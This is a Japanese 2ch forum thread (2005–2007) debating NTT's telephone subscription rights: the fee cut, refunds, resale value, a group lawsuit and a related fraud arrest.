http://news19.2ch.net/test/read.cgi/newsplus/1097594223/
電話加入権について
http://news17.2ch.net/test/read.cgi/news2/1097622837/
NTTおよび国は、電話加入権の金を払い戻すのか
http://society3.2ch.net/test/read.cgi/regulate/994172629/
NTTの固定電話権利やっと廃止
http://society3.2ch.net/test/read.cgi/regulate/1002600331/
ADSLで電話加入権??
http://society3.2ch.net/test/read.cgi/regulate/1003474128/
0768工作員
05/01/18 19:40:01ID:QlzNILl20769工作員
05/01/18 19:40:30ID:QlzNILl2数年にわたってということになるのかな。讀賣の記事によると加入権の「販売」実績は4兆円
とのこと、これのうち企業所有分が半分として2兆円、かりにこれが全部税務上は資産計上
されているとしてさらに法人実効税率を40%とすれば8000億円か。これだけの減税となると
代替財源をどうするって話にもなるなぁ。
0770工作員
05/01/18 19:41:02ID:QlzNILl2どうすりゃいいねん、ってのがNTTの本音かもしれないねぇ。自業自得の
ところもないわけじゃないけど、多少の摩擦はあっても一気に廃止するのが
長い目で見たら正解だとは思うんだが．．．
裁判やっても、「金返せ」じゃ法律的に見て勝つ見込みはないんじゃないかな。
紛らわしい売り方しただろ、慰謝料寄越せ、っていう方向なら、まだわずかな
可能性はあるかもしれない。
0771工作員
05/01/18 19:41:35ID:QlzNILl2それに、資産性がなくなれば当然減価分は税務上損金になるから、その分は
税が減ります。ご心配なく。
0772工作員
05/01/18 19:52:04ID:QlzNILl2>>223
NTTは負債計上なんかしてないよ。というか、負債計上してりゃ、こんな問題にならないだろ。
533 名前：名無しさん＠５周年[] 投稿日：04/10/21(木) 20:43:17 ID:kLbUiBnG
>>532
電話サービスを提供するという債務を履行しているよ。
539 名前：名無しさん＠５周年[] 投稿日：04/10/21(木) 20:55:27 ID:kLbUiBnG
>>538
だから、給付債権に対応する給付債務を履行してるじゃん。
542 名前：名無しさん＠５周年[] 投稿日：04/10/21(木) 20:58:43 ID:kLbUiBnG
>>540
いろんな考え方の人がいるんだよ。
547 名前：名無しさん＠５周年[] 投稿日：04/10/21(木) 21:03:27 ID:kLbUiBnG
>>545
加入権という債権に対応する債務はきちんと履行されているよ。
552 名前：名無しさん＠５周年[] 投稿日：04/10/21(木) 21:06:47 ID:kLbUiBnG
>>548
加入権が債権であることには疑いはないし、反論などしていないよ。
ただ、それは金銭債権ではなく、給付債権なんだよ。
582 名前：名無しさん＠５周年[] 投稿日：04/10/21(木) 21:32:06 ID:kLbUiBnG
全ての会社が資産として計上しているわけじゃない。会計方針による。
0773名無しさんに接続中…
05/01/18 20:57:46ID:FEjC+v9Oそこだけほかのエリアから離れてるし、しかも町
0774773
05/01/18 20:58:18ID:FEjC+v9O0775名無しさんに接続中…
05/01/18 23:19:52ID:VhA6vbwv0776名無しさんに接続中…
05/01/19 05:20:15ID:66GZtPgi消費者の声は無視かい？
0777名無しさんに接続中…
05/01/19 07:30:54ID:XyDN+9anそれが、国家的詐欺であったとしても。
0778名無しさんに接続中…
05/01/19 15:48:14ID:OkqX4s9I0779名無しさんに接続中…
05/01/19 17:11:38ID:DGNp37KCそれは国民年金だと思うが
0780名無しさんに接続中…
05/01/19 17:23:43ID:fvMQnxfr／ ／ ／ /／|. ﾄ ヽ ヽ
, ' , ' .,イ _∠!/ | ! ヽ !ヽ. ヽ ヽ __
/ /／/ ｲ/ / |￣ヽトヽ. ! / ヽ
/ ' ,ｲ /,ィｬ､ ‐ｭ ､ ヽ i l ヽ
/ ／|/l ! {,,il| {,,,,ill|ヽ ヽ|-､/l │
,' ／ ,' ゞﾘ ゞッ ,ｲj } i. │
. ! ,.‐'´ l '" 丶＿＿_ ''''' ,_ﾋノ ｉ │
. ｉ, ‐'´ ,､､､‐ ､ヽ､. |' | ／'´ノ/⌒ゝ‐､ |
,､(､‐､ )､__） `''‐ヽ.＿,ノ,､‐'i / /´ _,､､ ' ヽ |
(､-‐-､)' ＼ ,i ｀;" ~ ／｀＞,ﾉ､ノ ,､ i ヽ!
｛,,､‐-､ )＼＼~''''''‐--`―'‐'' ,´／ ,､‐';ｰ( , ヾ､ヽ
｛__,,､‐' | i ヽ`､｀ｰ‐--,,､-=='-‐‐‐<_r''' |､`t' ﾉ|っヾ､
｀ｰ/ | `､ {''''｡''~::: :: ｡ ::| ﾉヽ i_,',r'ﾐ. |
/ i 人 ...ノ 丶.. ..ノ :i i | i. | ヽヽ |
/ ! ／ ,i :i i |iヽ| /
i iノ ,' / :i ' | |ヽ|; /
i ｰ''´ :,' / i ! | | |ヽ'
i / / ’ } i | |＼
| ./ i i ./ i i ヽ
| / i' ､ :: , 'i / | :| ＼
/| / i ヽ_j_ノ |' / i ＼
/ ﾉ / i: | ::| |:: l / |ヽ ｝
/ / / i. | ::|. |:: | ノ | ヽ /
0781名無しさんに接続中…
05/01/20 02:28:54ID:k+tbNezd0782名無しさんに接続中…
05/01/20 11:42:02ID:pIOVIyK3電話して修理呼んでもMDFの鍵がねぇって帰りやがるし！
だいたい、うちの建物にでかいMDFがあるのに、なんでこの回線だけ
隣の建物のMDFから引っ張ってきてんだよ！もうバカかとアホかと。
0783名無しさんに接続中…
05/01/20 21:15:22ID:JW7PUw0Dhttp://headlines.yahoo.co.jp/hl?a=20050120-00000048-zdn_n-sci
こうやって、ことごとく計画倒れになっていくNTTに
金払って馬鹿を見るのか。
0784名無しさんに接続中…
05/01/20 23:40:02ID:Iy+8TU8W： ／ ＞ ） ―┘ て _､, ﾟ ｡ ｝ ﾉ ｣ Z,
： ‐┐ｌｌ （ ,, ､Z ー ｛ _哲ｊ_ ﾉ ─ｧ /
┃ ノヽ ＼Ｌ<,ｆ ） 二.、 （ / ;ｌｰｌ ` ） ／ヽ {
・ っ ／´ / ）∠_ っ ｢ C 」| | ｌ Z っ （
（ ｌ / ,ｲ /.‐ｙ-､ /⌒/~￣`-ﾍｲﾌ 'ｧ-;＿＿ｒ⌒
⌒Y⌒Ｙ´￣｀ | | | { ′_/ / ￣ ｌ |
L└ﾐ ト､ 从 ＼ / l ｌ __ __
l | `ヽ ＼ ノ⌒⌒＼ て 〉 〉 | |_[][]┌‐'└┐ oo, 、
/ / ＼/`つ 人 Vヽ └' | ┌┘ ￣|_「Lｌ <／
/_/ /ｆ ﾖ Eヽ〈 ｰ'＾┘ ￣
〈_ﾉ ｌ'_/盂ハ_ｿ←>>工作員
0785名無しさんに接続中…
05/01/24 05:00:53ID:CVGp5ISVhttp://www.ntt-west.co.jp/my/pc/
月額基本料を安くしようとして申し込んだんだが通話明細が見れない。
更に申し込まないと見れないんだね。おまけに郵送ｗ
0786名無しさんに接続中
05/01/25 14:34:25ID:b/Fqc4mV年が明けてついに息も切れてきたのかぁ？
そろそろ幕閉めたら？
その方が社員の扶養家族のためですよ。
0787名無しさんに接続中…
05/01/25 15:21:02ID:Cg/+OnUHMyリビングだと思えば笑える
ttp://www.google.co.jp/search?hl=ja&q=my%E3%83%AA%E3%83%93%E3%83%B3%E3%82%B0+NTT%E6%9D%B1%E6%97%A5%E6%9C%AC+OR+NTT%E8%A5%BF%E6%97%A5%E6%9C%AC
休止２回線、日々価値が下がってく
0788あぼーん
NGNG0789名無しさんに接続中…
05/01/29 12:04:27ID:mB8+5KH0１００％とは言えなくとも設定金額にそれなりの根拠や納得性があります。
しかし、ＮＴＴの負担金ってどうなっているのか、ブラックボックスでわかりません。
一時金という性質上、負担して頂く人にはその根拠を示すのが、ごく当たり前なことだと思います。
ＮＴＴは何故それが出来ないのか、非常に不思議でなりません。
それなら、契約するなと？
公益的な企業なら、それは許されないことでしょう。
0790名無しさんに接続中…
05/01/29 12:52:38ID:VGGEmx0Khttp://www.ntt-east.co.jp/aboutus/topics/20041105.html
携帯電話のインセの逆版みたいなもんだろ
0791名無しさんに接続中…
05/01/29 20:45:02ID:AP+VSs/X②半額にした後の残りの費用回収方法が不明
③他業者との比較でも、局までの費用は高すぎ
④参考資料の４以降は高コスト体質の露呈
0792名無しさんに接続中…
05/01/30 00:53:30ID:dcNEnb0Pなるほどね
しょせんいい加減な経営で悪化した業績のツケを
カネトルダケトッテ終わりにしようということですか
情けない会社だね
0793名無しさんに接続中…
05/01/30 01:02:16ID:rfEie+GI昭和27年の時代背景を考えた上での発言なら立派だな
さすがに、最近まで値段を維持したのは怠慢だと思うが
ユニバーサル・サービス義務がある以上0にするのも辛いんじゃないか
0794名無しさんに接続中…
05/01/30 01:17:11ID:dcNEnb0Pあまりにも次元が違いすぎるね
所詮、ユニバーサルサービスやラストリゾートなんて崩壊している
0795名無しさんに接続中…
05/02/11 11:55:42ID:rIUlKMIZ基本料が309円と1250円に分かれているだけで一円安くなっているだけ・・・orz
0796名無しさんに接続中…
05/02/11 12:15:18ID:rIUlKMIZ基本料が309円と1250円に分かれているだけで一円安くなっているだけ・・・orz
0797名無しさんに接続中…
05/02/11 21:16:34ID:yEMtvInk日割り計算のためだと思われ。
0798名無しさんに接続中…
05/02/15 21:35:26ID:rVb2cWAKhttp://vv2.s13.tempx.cc/jclx.php?aid=31075&index_id=121&qq=spyware&
↑が開き、英文でどうやら「あなたのPCはモニタリングされています」
といったような内容が書かれておるのですが、これは放置したままで
問題ないのでしょうか？教えて下さい。
0799名無しさんに接続中…
05/02/22 19:29:43ID:ZF4BMpUt支払いを自動引き落としで・・と言うと、加入電話の方でないと自動引き落としは出来ませんと言われた。
なぜ？
携帯の身元確認じゃあるまいし、タイプ２とはいえ固定住所との契約になるから問題ないと思うが・・・？
0800今のうちに
05/02/23 00:58:45ID:b4s6rEgs0801名無しさんに接続中…
05/02/27 09:37:18ID:62qsx4pr0802名無しさんに接続中…
05/02/27 09:37:49ID:62qsx4pr0803Omoti輸卒@特殊投機強襲部隊 ◆rzOmotimAo
05/03/01 07:17:18ID:Mg6swY64＿|＿＿_|＿ 加入権を
|（*´д｀* ）| ＜ 「5,000円で買って」
|＼⌒⌒⌒＼ 「6500円で売る」
＼ |⌒⌒⌒~| ビジネスをはじめようと思うんだが、
おまいら利用するか？
0804名無しさんに接続中…
05/03/07 05:00:03ID:/GYgsqLO0805Omoti輸卒@特殊投機強襲部隊 ◆rzOmotimAo
05/03/10 06:32:51ID:TZRGg8Iu＿|＿＿_|＿ 日本中の業者を検索しまくったら、
|（*´д｀* ）| ＜ 「6,000円」で買う、という業者が２つもあった。
|＼⌒⌒⌒＼ だから、漏れは「6,100円」で買う、というプライスを
＼ |⌒⌒⌒~| 出してみたいと思う。ちなみに、「売り」はヤフオクの
最安値で7,200円くらい？まとめると
bid 6000円
ask 7200円
が現在の相場で、漏れは６１００－７１００くらいで
板出して商売してみようかと思うんだが、どないだ？
0806名無しさんに接続中…
2005/05/15(日) 22:03:46ID:6cfdHLX50807名無しさんに接続中…
2005/06/05(日) 06:57:52ID:m5zvVLW0できるの？
出来ても今の相場だと借りる人ってほとんどいないんでは？
0808名無しさんに接続中…
2005/06/05(日) 18:59:30ID:1SgKNx25ライトって名前でNTT自身がレンタルやってるよ。
0809電話加入権を取り戻そう！
2005/06/08(水) 18:59:32ID:dYB5Yk1Oよかったら、下記URLで、詳細をご覧下さい。
顧問弁護士も、数がまとまれば、大きな力となって、勝てる！といってくれています(^_^)v
http://www.191.st/anti-NTT/
0810名無しさんに接続中…
2005/06/08(水) 19:00:13ID:dYB5Yk1O0811名無しさんに接続中
2005/06/08(水) 23:25:46ID:jzKOxPkYそっちを厳しく見守った方がいい。
0812名無しさんに接続中…
2005/06/09(木) 18:49:03ID:lYKc1p7O改善します、二度とこのようなことがないようにとか言うぞ
二度と とは何回なんだろうねｗ
体質なんてそう簡単にかわるもんじゃないし
0813名無しさんに接続中…
2005/06/12(日) 02:25:16ID:YXGaIrFR固定電話にこれ以上の投資はない、固定電話にこれ以上の機能拡張もない。
そういえば交換機の番号ポータビリティ対応への改造が最後じゃなかった？
今まで稼ぎ頭だった法人向けサービスは、ひかり電話に移行してしまい基金を使っての現状
維持すら不透明、値上げもありそー。
せいぜいNTT加入権を大事にして遺産固定電話が将来に渡って維持できるように頑張って使っ
ていて下さいな。
0814名無しさんに接続中…
2005/08/18(木) 08:09:15ID:KWzKisJn0815名無しさんに接続中…
2005/08/18(木) 17:58:32ID:lvHS8QRe0816名無しさん＠そうだ選挙に行こう
2005/09/11(日) 23:12:47ID:05YABH6I0817名無しさんに接続中
2005/09/13(火) 16:29:48ID:jSykX9Waこの間の選挙で、これは取り上げられなかったな。
郵政民営化よりこれを掲げた方が当選できたかもよ。
0818名無しさんに接続中…
2005/09/14(水) 12:18:08ID:KcXtIOdDマイライン変更後のＮＴＴのスーパーけんたくんやその他の市内、市外通話割引のプランが残っているといつまでもＮＴＴから料金を徴収されてしまいます。
これはお客様からの申し出が無い限り永遠に？引落しされます。書面も一切ありませんので気がつかない利用者が多いと思います。
ＮＴＴもお客が申し出をしないで黙っていればいつまでも料金が入ってくるので詳しいことを説明しません。これは本当のサービスではないですよね？
もう一つは通話回線を２つ契約していてＢフレッツに契約を変更した時にもう１回線の契約がＩＳＤＮやＡＤＳＬのまま残っている場合です。
これもお客様からの申し出が無い限りＢフレッツとＩＳＤＮやＡＤＳＬの料金を２重取りされますよ。解約契約書もありません。ＮＴＴは「口頭で解約を申し出て下さい」と言っています。
皆さん無駄なお金取られていませんか？
0819名無しさんに接続中
2005/09/15(木) 21:12:38ID:QnJ1X+yI所詮お役所仕事で、殿様商売なのさぁ。
0820名無しさんに接続中…
2005/09/16(金) 07:44:51ID:Y1Wvh/I/おまいのような奴隷根性の人間が多ければ多いほど、あいつらは
のうのうとのさばることができる。連中は十分に分かっているんだよ、
自分たちがどういう風に思われているのかを。
戦え！！！
0821名無しさんに接続中…
2005/09/16(金) 07:50:41ID:Y1Wvh/I/オラ、オラッ！！！
さっさと立って戦わんかい！
そのうち、テメェの尻の毛まで抜かれるぞ！
0822名無しさんに接続中…
2005/09/28(水) 19:36:55ID:QekmQ4Fk0823名無しさんに接続中…
2005/09/30(金) 08:21:15ID:9tZS6vId貧乏って悲しいね。
0825名無しさんに接続中…
2005/10/01(土) 13:20:56ID:21Ap+lRpこれって0033とかいうやつの類？
0826名無しさんに接続中…
2005/10/13(木) 17:26:36ID:kPboomuf0827名無しさんに接続中…
2005/11/04(金) 19:11:37ID:1pEY3bsR0828名無しさんに接続中…
NGNG取ってたら誰も文句は言わなかったと思う。
TSUTAYAの入会金と一緒で、一度払ったら帰って来なくて当たり前。
入会キャンペーンで1年ごとに値下げしていき、最終的に入会金0円にすれば
「昔は高かったのに、今は安くていい時代になったものだ」と感慨にも耽っていただろう。
だけど、7万2千円をまるで後で戻ってくるかのように支払わせていた所が微妙。
電話を引こうか躊躇していた人が
「7万2千円も最初に費用がかかるのは痛いけど、後から戻ってくるからいいかな」
と考えて、導入に踏み切ったケースも少なからずあったはず。
これが例えば株や社債だったら、客はリスクを飲んだ上で買うのだから
最悪後で紙クズになったって文句を言う奴の方がおかしい。
ところがNTTは、加入権はずっと7万2千円と言い続けてきて、
ある日突然、「加入権制度は廃止です。返金にも応じません。」と言っているのだから、
「当初から客に対してリスクを説明してましたか？」と言われても仕方ないでしょう。
まあ仮に集団訴訟を起こしたとしても、NTTは責任を認めないでしょうし、
1円も返って来ないのはわかってますけどね。
0829名無しさんに接続中…
2006/01/15(日) 05:01:24ID:Zd1q2jc/> 最初から7万2千円を電話回線を引くための入会金とか初期費用という名目で
> 取ってたら誰も文句は言わなかったと思う。
最初から施設を設置するための負担金だと説明されているのに文句をいう人の多いこと多いこと。
> 7万2千円をまるで後で戻ってくるかのように支払わせていた
具体的にどんな説明がされていたの？
NTT東日本 施設設置負担金についての説明資料
http://www.ntt-east.co.jp/release/0411/041105b_02.html
NTT西日本 施設設置負担金についてのご説明
http://www.ntt-west.co.jp/basic/charge/nesage/futan2.html
> ところがNTTは、加入権はずっと7万2千円と言い続けてきて、
「施設設置負担金」と「電話加入権」を混同してない？
当初72,000円（税込75,600円]）、現在36,000円（税込37,800円）は
「施設設置負担金」であって「電話加入権」では無いよ。
> ある日突然、「加入権制度は廃止です。返金にも応じません。」と言っているのだから、
当初から返金には応じないという説明だった。
施設を設置するために使ったお金なんだし、利用者はその恩恵を受け、既に還元されている。
帰ってくると思う方がおかしいよ。
施設設置負担金や電話加入権制度の廃止は歓迎するべき事だと思うけどな。
スーパーで定価で買った物が、次の日にはバーゲンで半額になっていた。
自分は定価で買ったのに、他人は半額で買ったから悔しい。
よくある事じゃない？
電話サービス契約約款
NTT東日本 http://www.ntt-east.co.jp/tariff/yakkan/pdf/e01.pdf
NTT西日本 http://www.ntt-west.co.jp/tariff/yakkan/pdf/w01.pdf
NTT東西の電話サービスに加入する人は全員、契約約款に納得して契約を締結している。
納得できなければ契約をする必要は無いからね。
0831名無しさんに接続中…
NGNG本来支払われるべき保険金が支払われなかった。
これはよくある話。
公団が売れ残りマンションを値下げして販売した事により
資産価値が下落し、住民が損害を被った。
これもよくある話。
みんなよくある話だと納得出来るあなたは、
非常にものわかりがいい人間だ。
それとも年中、隅々まで約款を読んでるのかな？
全ての国民があなたみたいにものわかりがよかったら、
ここまで粘着厨が発生しないし、問題にもされなかっただろう。
7万2千円の商品がスーパーで売ってますか？
7万2千円が当時高額だったからこそ、電話加入権の
取引市場が形成され資産価値として認められていたのだし、
NTTもこの実態を認めている。
全ての電話加入者が施設負担金を返還されないものだと
納得ずくで契約した訳ではないという現状に目を向けるべき
なんじゃないかなあ。
あなたが思慮分別のある大人だって事はよく分かるんだが。
0832名無しさんに接続中…
2006/01/16(月) 02:00:20ID:RdWsdrgn829ではないけどさ
ハンコついて契約する前に契約約款に目を通すのは当たり前のことじゃないか？
実際は読まない人もいるだろうが、それで失敗しても完全に当人の落ち度だろ
俺は法令と照らし合わせながら隅々まで読んで、
矛盾点を探したり自分が有利になる抜け道を探すようにしてるぜ
納得ずくで契約した訳ではないというが、
法律上では契約をした時点で約款に同意した事になる
もし総務省やNTTのやり方が間違っていると思うなら
それなりの法的根拠を示した上で裁判を起こせばいいんじゃないか？
それができないのなら単なる言いがかりにしかならないぞ
だいたい施設設置負担金が返還されるような
言い回しの説明なんて俺は聞いたことないぞ
それは悪徳代理店の説明なのかい？
具体例を挙げてくれよ
電話加入権の取引市場ってのがそもそも矛盾してるんだよな
既に消費されたはずの中古の権利を手に入れれば
設備を敷設する費用が必要なくなるってのがさ
一度敷設した回線は解約しても撤去しないから
1つの加入権を日本の全世帯で順番に使い回せば
全国の設備投資額は当時の金額で7万2千円で収まる計算になる
かつてAT&Tが分割されたようにNTTも分割された
AT&Tが買収されたように、いつかはNTTも消える時が来るさ
資産価値に計上できる数字なんてものは有って無いような数字だぜ
世の中は常に動いている
先見の明がある人間は有利に、先を見越せない人間は不利になる
0833名無しさんに接続中…
2006/01/16(月) 06:58:43ID:rftHJGR7ヒント：ゴルフの会員権
0834名無しさんに接続中…
2006/02/12(日) 00:59:51ID:3dIREKrN不要になったら72000円返ってくる。
10年前に回線引いたときこんな説明があった希ガス。
0835名無しさんに接続中…
2006/02/12(日) 09:02:22ID:NEeeIsCQ前半は今でも正解だよな。質権が設定できる
後半は素人でも知っている嘘だな
0836名無しさんに接続中…
2006/02/12(日) 11:33:03ID:IbKIrvxo誰からそんな説明があったの？
虚偽の説明で商品を販売する行為は詐欺にあたる。
その業者を告訴しては？
0837名無しさんに接続中…
2006/02/14(火) 11:24:59ID:AOGGJ7UMうちもテプコ光だからもうつかってないし。。
0838名無しさんに接続中…
2006/02/14(火) 21:34:06ID:Kj0VfX85春日井の男逮捕 被害数億円か
実際には行われていない電話加入権の買い取りを口実に、
元同僚や部下などから現金を騙し取ったとして、
名古屋・中書は１３日詐欺の疑いで愛知県春日井市大留町
ＮＴＴ西日本の子会社
「エヌ・ティ・ティ・マーケティングアクト名古屋」
元課長の容疑者（４２）を逮捕した。
被害額は計数億円にのぼるとみられる。
調べでは、どう容疑者は昨年６月中旬ころ、
同県岩倉市会社員男性（４３）の勤務先へ電話し電話加入権の
買い取りをＮＴＴが（各方面から）迫られており、
極秘に処理をしている。自分も（買取のために）６百万円を
出資しているが、金を出してくれないか」と持ち掛けた。
（いずれはＮＴＴが加入権を買い取ってくれるので差額が儲かる）とだまし、自分の口座に５百万円を振り込ませた疑い。
（９８年から昨年末まで元同僚や部下など３０数人から数億円を振り込ませた。借金返済のためにやった）と供述している。
同容疑者は２００２年にＮＴＴ西日本から出向していた。
新聞 抜粋
0839名無しさんに接続中…
2006/02/15(水) 13:08:12ID:04rAQXcWそうなんだよね、光にしたらいらなくなる
0840名無しさんに接続中…
2006/02/15(水) 13:41:06ID:Smo4DjAuいらなくなったクルマを廃車したからって購入時の金額をドブに捨てた事にはならないでしょ。
それなりに減価償却したと思えば良いんじゃないかな。
本当に施設設置の為に使われたかどうかは別としてさ。
うちにもINS64を休止した時の「利用休止のお知らせ」ハガキがあるよ。
ADSLタイプ2で050IP電話だから二度と権利を行使する事は無いだろうけどね。
>>839
光じゃないけど要らなくなっちゃったw
しかしフレッツ・ADSLだと加入電話を入れてマイラインプラス割引にした方が
トータルでADSLタイプ2より安くなるってのが理解に苦しむトコロ。
0841名無しさんに接続中…
2006/02/16(木) 00:55:27ID:Dz8Trm7G今なら5000円ぐらいでまだ売れる。売れ。少しでも回収しとけ。
0842名無しさんに接続中…
2006/02/16(木) 19:24:59ID:rMNZMbG70843名無しさんに接続中…
2006/02/16(木) 19:35:32ID:krmvsjk9http://www.ntel-signup.com/ybbpromo/ybb/index.html
タダで配布されているものが
いまだに5000円で転売できるんだからラッキーと思わなきゃ。
0844名無しさんに接続中…
2006/02/17(金) 02:13:55ID:1S6wXtUCNTTの電話番号が無いと親が不便だってさ。
0845名無しさんに接続中…
2006/02/17(金) 04:08:04ID:0v3kugypKDDIやDTIとかの0AB～J番号でもパッと見同じじゃん。
0846名無しさんに接続中…
2006/02/17(金) 09:09:24ID:/IG5KjXp0847名無しさんに接続中…
2006/02/18(土) 07:33:00ID:A5mhAsbjしかも、債権なしを保証してくれそうで安心だ。
電話加入権付きで０円だって。
http://bbpromo.yahoo.co.jp/promotion/adsl/telset/index.html
加入すると、その後の再加入ができなくなるかもだけど、
よそに移る前にとりあえず加入権をもらっとけば？
0848名無しさんに接続中…
2006/02/18(土) 08:25:08ID:EpZOBSD8> よそに移る前にとりあえず加入権をもらっとけば？
ｲﾗﾈw
使ってない加入権が余ってるから転売せずに解約してやろうかと思ってるところ。
NTTに限らず前時代的な電話網は二度とごめんだね。
ま、大量に契約すれば加入権転がしてひと儲けできるかもなw
0849名無しさんに接続中…
2006/05/25(木) 01:18:35ID:gxUpWn4F言われたからレンタルより特だなって思って買ったんだけど
天下のＮＴＴがこんな商売でいいんだろうか
0850名無しさんに接続中…
2006/05/25(木) 05:35:59ID:iQkUQFeTそんなあり地獄みたいな所使うよりも
とりあえずNTT使ってればなんとかなる。
加入権売っても二束三文ならとりあえず持っている方がよい。
0851名無しさんに接続中…
2006/05/29(月) 00:37:51ID:otDvV6rJ0852名無しさんに接続中…
2006/05/30(火) 18:11:28ID:Mhas+rCX国やＮＴＴ東西を提訴 「加入権値下げで損害」
固定電話の加入権料引き下げで電話加入権の資産価値が下がったとして、通信機器レンタル会社など３７社と社員ら６９人が
３０日、国やＮＴＴ東日本、西日本などに総額約１億円の損害賠償を求める訴訟を東京、大阪両地裁に起こした。
固定電話加入権料引き下げをめぐる集団訴訟は初めてという。
訴状によると、固定電話に新規加入する際に支払う加入権料について、
総務省の情報通信審議会は２００４年１１月「５－６年で段階的に廃止するのが適当」と答申。
ＮＴＴ両社は昨年３月、７万２０００円から半額の３万６０００円に値下げした。
0853名無しさんに接続中…
2006/06/05(月) 16:27:45ID:oZfz5BBW手続きがはやかった
テレマップ関西
ttp://www.tel-map.co.jp/
0854名無しさんに接続中
2006/06/08(木) 13:12:26ID:YOapQ4mOで、いくらだったの？？
0855名無しさんに接続中…
2006/06/25(日) 11:19:14ID:wNwXPzi8読めないのか？
0856電話加入権
2006/07/29(土) 23:40:31ID:h8yHlQru0857名無しさんに接続中…
2006/07/30(日) 00:02:10ID:rqCAEj7zﾔﾌｵｸ。
今なら初期費用要らないライトプランもある。
0858電話加入権
2006/07/30(日) 00:30:26ID:rvMcLKHbさんく
0859名無しさんに接続中…
2006/08/02(水) 07:21:55ID:QRjti2+t今探してるんだが安い所というか相場が知りたい｡誰か詳しく教えてください
0860名無しさんに接続中…
2006/09/11(月) 23:57:44ID:JpLxZej5過去の遺物
0861名無しさんに接続中…
2006/09/16(土) 18:45:47ID:yxLRf09L0862名無しさんに接続中…
2006/10/08(日) 14:33:58ID:0EMnG2PC0863名無しさんに接続中…
2006/10/10(火) 07:40:00ID:Xxo43WFq0864名無しさんに接続中…
2006/11/04(土) 13:06:18ID:PEN7/G+v４０００円くらいにしかならないけど、
持っててもさらに値打ち下がるだけだよね(´･ω･`)
0865名無しさんに接続中…
2006/12/22(金) 00:42:43ID:SbwyYqbx買取で休止状態を要求してるって事はそうなのかなとも思いますが、施設設置負担金を払った
名義人に対して権利が付与されると言う事なんですよね？
それとも、そもそも休止に掛かる2100円は権利を持っておくために必要なコストで工事費って
のは真っ赤な嘘と言う事なんでしょうか？
どうもその辺がよく分らない。
0866名無しさんに接続中…
2007/03/09(金) 00:54:51ID:WbYvtm/+http://www.geocities.co.jp/Playtown-Denei/8746/
0867名無しさんに接続中…
2007/06/16(土) 02:49:51ID:YIDT75AENTTデータにも責任取らせろよ
レガシーシステムなんか酷すぎだろ
一兆も使って、フザケルな
0868あるじゃーのん
2007/06/24(日) 11:38:30ID:B5xlUNbCもしかして今朝鮮総連が危ないのは北朝鮮に送金しすぎて金が残ってないから？
0869名無しさんに接続中…
2007/06/29(金) 00:58:33ID:cifbcsn7嘘であり、見積書だけでNTTデータにお金を支払っていた実態。
2007年6月28日(木) 厚生労働委員会
藤末健三(民主) ２２分ごろ（一部長文のため要約および抜粋をして記載）
http://www.webtv.sangiin.go.jp/webtv/index.php
○藤末議員
年金のデータ管理をＮＴＴデーターに随意契約している。契約さえいい
加減と思っている。NTTデータとの利用の契約書を示されていない。
契約書があるのか？
○青柳運営部長
人件費の単価など契約側の利益を失う可能性があるからその調整をして
公開したい。相手方のベンダーさんは懸念を持っているのでその確認をして
公開したい。
○藤末議員
２００５年の決算委員会でも指摘しています。当時はNTTデータとの契約書
がなかったのですよ。それで、会計検査院検査をしてくださいとおねがいして
いるのですよ。社会保険庁のこのシステムNTTとの利用契約あったかどうか結論
だけ教えてください。
○会計検査院
会計検査院では、社会保険庁のデーター通信サービスの契約につきましては、
多額の経費が投じられており社会的関心も高いことなどから、重要な検査事項
と考えており、毎年度検査を実施しているところでございますが平成１８年まで
の契約にかかる契約書は作成されていなかったと承知しております。
○藤末議員
また虚偽答弁だよ！！（中略）
○藤末議員（３０分）
みなさんこの薄い紙を見てください。これで見積もりです。見積書が出てきて
契約書がないまま、見積もり書に印鑑を押してお金を払っているのですよ。
年間一千億円が支払われている。
年間一千億円、累計一兆円の契約がこの８年前の約款に基づき
契約もなく見積書だけで支払われているという状況。
0870名無しさんに接続中…
2007/07/13(金) 16:41:30ID:SfBh77AK家の中の電線の金をなんで払わんといけないんだ？
0871名無しさんに接続中…
2007/07/13(金) 16:59:45ID:CfKtNZDP0872名無しさんに接続中…
2007/07/13(金) 19:34:55ID:t3jVkQ1a事実上、断線した時に部品代を無料にしてもらう為の保険料、みたいなものかな。
俺はLANケーブルでDIYしたから、レンタルしてないよ。
NTT東日本 電話サービス契約約款
https://www.ntt-east.co.jp/tariff/yakkan/pdf/e01.pdf#page=97
> (屋内配線使用料)配線
> 契約者回線（加入電話、着信用電話、支店代行電話、内部通話用電話又は有線放
> 送電話接続電話の契約者回線の契約者回線に限ります。）の終端と電話機その他の
> 機器との間又はその機器相互間に設置する線条（ジャック及びローゼットを含みます｡)
> １ 配線ごとに60円(税込価格63円)
0873名無しさんに接続中…
2007/07/13(金) 19:39:53ID:wos4Nkia屋内配線を自前で工事するか、NTTから買い取るか、レンタルにするか、
それは自由だ
0874名無しさんに接続中…
2007/07/13(金) 20:35:20ID:8kvUO2mK売っても二束三文にしかならんから、
５年ごとにきっちり更新して嫌がらせしてやる。
0875名無しさんに接続中…
2007/07/13(金) 20:41:17ID:G9/EtFWtあれれ？屋内配線だったら、だいぶ前から「買い取り」ってやってるゾ
無料買い取りで使用料がタダになるよ。
0876名無しさんに接続中…
2007/07/27(金) 13:13:02ID:oV/ckSFB・・・って
みな書いてたか・・・
0877名無しさんに接続中…
2007/08/03(金) 05:21:03ID:IkPnKBQD当然更新手続きはきちんと行う必要はあるけど
法律的解釈では債権として扱われていた事実があるわけだからまだまだ揉めるよ
総務省とNTTの癒着談合にみすみすお付き合いすることはない
こんなことがまかり通るなら俺の家のローンもチャラにしてほしいわ
0878名無しさんに接続中…
2007/08/03(金) 10:44:15ID:mcmcAdmpいらないんじゃない？
0879名無しさんに接続中…
2007/08/03(金) 13:20:09ID:E88mDjZn> 電話加入権は休止状態を保持しておくのがベストだよ
既に休止してしまった人はそうするしかないが
これから電話を止める人は無駄な休止工事費を払うより
無料で解約するのがベスト。
> 法律的解釈では債権として扱われていた事実があるわけだから
それは「電信電話公債」（電話債券）といって、「電話加入権」とは別物。
電話加入権 - Wikipedia
http://ja.wikipedia.org/wiki/%E9%9B%BB%E8%A9%B1%E5%8A%A0%E5%85%A5%E6%A8%A9
> 1951年、電話網を整備する際の資金不足を解消する目的で、電話設備費とは別に
> 電信電話公債（電話債券）が設けられ電話加入の際の購入が義務付けられた。
> これは1983年に廃止され、1990年頃までにNTTによって償還（返済）されている。
0880名無しさんに接続中…
2007/08/03(金) 15:57:22ID:En+ZiulCなのでNTT関係者の俺としては休止よりも解約を推奨です。
0881名無しさんに接続中…
2007/08/04(土) 08:03:18ID:Y1GBnzIINTTの関係者ですか？ｗ
